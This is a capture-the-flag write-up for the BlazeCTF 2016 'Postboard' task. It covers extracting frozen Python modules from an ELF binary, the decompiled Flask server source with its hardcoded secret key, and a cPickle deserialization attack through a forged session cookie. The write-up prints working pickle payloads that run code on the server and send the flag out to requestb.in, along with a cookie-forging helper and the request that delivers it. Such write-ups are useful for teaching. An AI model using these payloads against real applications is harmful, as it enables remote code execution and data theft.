24-04-2016 / Ctf

BlazeCTF 2016 Postboard Writeup

Below you can find my solution for Postboard task from BlazeCTF 2016.

We got ELF file. After checking it in disassembler it seems to be Python to ELF file - Freeze.

At 0x881D40 we can find PyImport_FrozenModules structure:

.data:0000000000881D40 _PyImport_FrozenModules _frozen <offset aBasehttpserver, offset M_BaseHTTPServer, 54C8h>
.data:0000000000881D40                 _frozen <offset aDlfcn, offset M_DLFCN, 0AE6h> ; "ast"
.data:0000000000881D40                 _frozen <offset aFixtk, offset M_FixTk, 7C3h>
.data:0000000000881D40                 _frozen <offset aOpenssl, offset M_OpenSSL, 0FFFFFC53h>
.data:0000000000881D40                 _frozen <offset unk_581FB2, offset M_OpenSSL__version, 0F3h>
.data:0000000000881D40                 _frozen <offset aSocketserver, offset M_SocketServer, 5D7Ah>
.data:0000000000881D40                 _frozen <offset aStringio, offset M_StringIO, 2CAAh>
.data:0000000000881D40                 _frozen <offset aTkconstants, offset M_Tkconstants, 8BCh>
.data:0000000000881D40                 _frozen <offset aTkinter, offset M_Tkinter, 302D6h>
.data:0000000000881D40                 _frozen <offset unk_581FE3, offset M_UserDict, 2212h>
.data:0000000000881D40                 _frozen <offset a_lwpcookiejar, offset M__LWPCookieJar, 158Ah>
.data:0000000000881D40                 _frozen <offset a_mozillacookie, offset M__MozillaCookieJar, 115Ch>
.data:0000000000881D40                 _frozen <offset a__future__, offset M___future__, 10B0h>
.data:0000000000881D40                 _frozen <offset a__main__, offset M___main__, 1525h>
.data:0000000000881D40                 _frozen <offset a_abcoll, offset M__abcoll, 60D2h>
.data:0000000000881D40                 _frozen <offset a_markerlib, offset M__markerlib, 0FFFFFBBFh>
.data:0000000000881D40                 _frozen <offset a_markerlib_mar, offset M__markerlib__markers, 13BFh>
.data:0000000000881D40                 _frozen <offset a_osx_support, offset M__osx_support, 2D0Ch>

Most important file to us is __main__ stored at 0x8C8FE0 size 0x1525.

After dumping this region it looks like .pyc file.

So we add PyImport_GetMagicNumber to it and try to convert .pyc to .py using for example Easy Python Decompiler.

You can also dump all modules using this little python script (credits to 1amtom):

import ctypes
import struct
import functools
import itertools
start_offset = 0x281d40
file_path = r'server'
with open( file_path, 'rb' ) as f:
	f.seek( start_offset )
	for i in xrange( 0, 238-1 ):
		mod_name_offset = struct.unpack( '<Q', f.read( 8 ) )[ 0 ] - 0x400000
		mod_pcode_start = struct.unpack( '<Q', f.read( 8 ) )[ 0 ] - 0x600000
		mod_pcode_size  = struct.unpack( '<Q', f.read( 8 ) )[ 0 ]
		mod_pcode_size  = abs( ctypes.c_int16( mod_pcode_size ).value )
		old_offset = f.tell()
		f.seek( mod_name_offset )
		mod_name = ''.join( [ c for c in iter( functools.partial( f.read, 1 ), '\x00' ) ] )
		f.seek( mod_pcode_start )
		print 'i={0}, Module={1}, Offset=0x{2:X}, Size={3}'.format( i, mod_name, mod_pcode_start, mod_pcode_size )
		with open( '{0}.pyc'.format( mod_name ), 'wb' ) as out:
			out.write( '\x03\xF3\x0D\x0A\x61\x5E\x02\x57' )
			out.write( f.read( mod_pcode_size ) )
		f.seek( old_offset )

So now we have full task source code:

# Embedded file name: server.py
from cPickle import dumps, loads
from flask import *
from os import chroot
import random, string
from encodings import ascii
import encodings
app = Flask(__name__)
class user_entry(object):
    def __init__(self, username, password):
        self.u = username
        self.p = password
        self.t = gentoken()
        return None
class post_entry(object):
    def __init__(self, content, postID):
        self.c = content
        self.i = postID
users = {}
posts = {}
with open('../flagdir/flag', 'r') as f:
    p = post_entry('flag', f.read())
    posts['flag'] = p
def gentoken():
    return ''.join(random.sample(string.ascii_lowercase * 16, 16))
def userExists(username):
    if username in users:
        return True
    else:
        return False
def addUser(username, password):
    if userExists(username):
        return False
    else:
        u = user_entry(username, password)
        users[username] = u
        return True
def checkUser(username, password):
    if not userExists(username) or getUser(username).p != password:
        return False
    else:
        return True
def getUser(username):
    return users[username]
def verifySession():
    if 'auth' not in session:
        return False
    u = loads(session['auth'])
    if not u or u.u not in users:
        session.clear()
        return False
    return getUser(u.u).t == u.t
def getPost(postID):
    if postID not in posts:
        return 'post not found'
    else:
        return posts[postID].c
def getAllPosts():
    s = "<a href='/post'>make new post</a><br><br>"
    s += '\n'.join([ '<a href="/post/%s">%s</a>' % (x, x) for x in posts ])
    return s
def addPost(content, postID):
    if postID in posts:
        return 'Post already exists!\n'
    p = post_entry(content, postID)
    posts[postID] = p
    return app.make_response(redirect('/post/all'))
@app.route('/login', methods=['POST', 'GET'])
def login():
    if request.method == 'POST':
        print request.form
        usern = request.form['username']
        passw = request.form['password']
        if checkUser(usern, passw):
            redirect_to = redirect('/post/all')
            response = app.make_response(redirect_to)
            session['auth'] = dumps(getUser(usern))
            return response
        else:
            return 'login fail'
    else:
        return send_from_directory('.', 'login.html')
@app.route('/register', methods=['POST', 'GET'])
def register():
    if request.method == 'POST':
        if addUser(request.form['username'], request.form['password']):
            return 'register success\n'
        else:
            return 'User Exists\n'
    else:
        return send_from_directory('.', 'register.html')
@app.route('/post/<postID>', methods=['GET'])
def post_request(postID):
    if not verifySession():
        return redirect(url_for('index'))
    elif request.method == 'GET':
        return get_post(postID)
    else:
        return 'what? be nice\n'
@app.route('/post', methods=['POST', 'GET'])
def new_post():
    if not verifySession():
        return 'not authorized!\n'
    elif request.method == 'POST':
        return addPost(request.form['content'], request.form['id'])
    else:
        return send_from_directory('.', 'newpost.html')
def get_post(postID):
    if postID == 'all':
        return getAllPosts()
    elif postID == 'flag':
        return 'This post has been disabled by the admin for being too dank\n'
    else:
        return getPost(postID)
@app.route('/<arg>', methods=['POST', 'GET'])
def index(arg):
    if arg == '':
        arg = 'index.html'
    if not verifySession():
        print 'send file', arg
        return send_from_directory('.', arg)
    else:
        return app.make_response(redirect('/post/all'))
@app.route('/', methods=['GET'])
def index_2():
    return index('')
app.secret_key = 'can_y0u_5Teal_mY+seCr3t-key'
app.run(port=1337, debug=False, host='0.0.0.0')
chroot('.')

Here we need to exploit cPickle.loads which deserialize object from untrusted user input session['auth'] inside verifySession() function.

More info about this kind of attack you can read here.

By default flask sign all cookies when app.secret_key is set.

Lucky to us we have secret value decrypted from ELF file, so we can sign any cookie.

Normally we will simply read ../flagdir/flag file and send it to us using for example:

class GetFlag(object):
    def __reduce__(self):
        return (subprocess.call,
                (['python',
                  '-c',
                  'import urllib2;'
                  'flag = open("../flagdir/flag").read();'
                  'urllib2.urlopen("http://requestb.in/xxxx?f="+flag)'],))

But it won't work. Why? Because of chroot('.') - we are inside chroot jail.

So instead of reading files we need to read flag from global posts variable using eval().

For signing cookie I create small Flask app which encode payload and create valid cookie:

from cPickle import dumps
from flask import *
app = Flask(__name__)
class GetFlag(object):
    def __reduce__(self):
        return (eval,('__import__("urllib2").urlopen("http://requestb.in/xxxx?f="+posts[\\'flag\\'].i)',))
@app.route('/', methods=['POST', 'GET'])
def index():
    session['auth'] = dumps(GetFlag())
    return 'OK'
app.secret_key = 'can_y0u_5Teal_mY+seCr3t-key'
app.run(port=1337, debug=True, host='0.0.0.0')

So now we open http://localhost:1337 in browser, read session cookie value and then send new request to task server.

GET /post HTTP/1.1
Host: here_task_ip:1337
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) 
Accept-Encoding: gzip, deflate, sdch
Accept-Language: pl-PL,pl;q=0.8,en-US;q=0.6,en;q=0.4
Cookie: session=here_cookie_value
Connection: close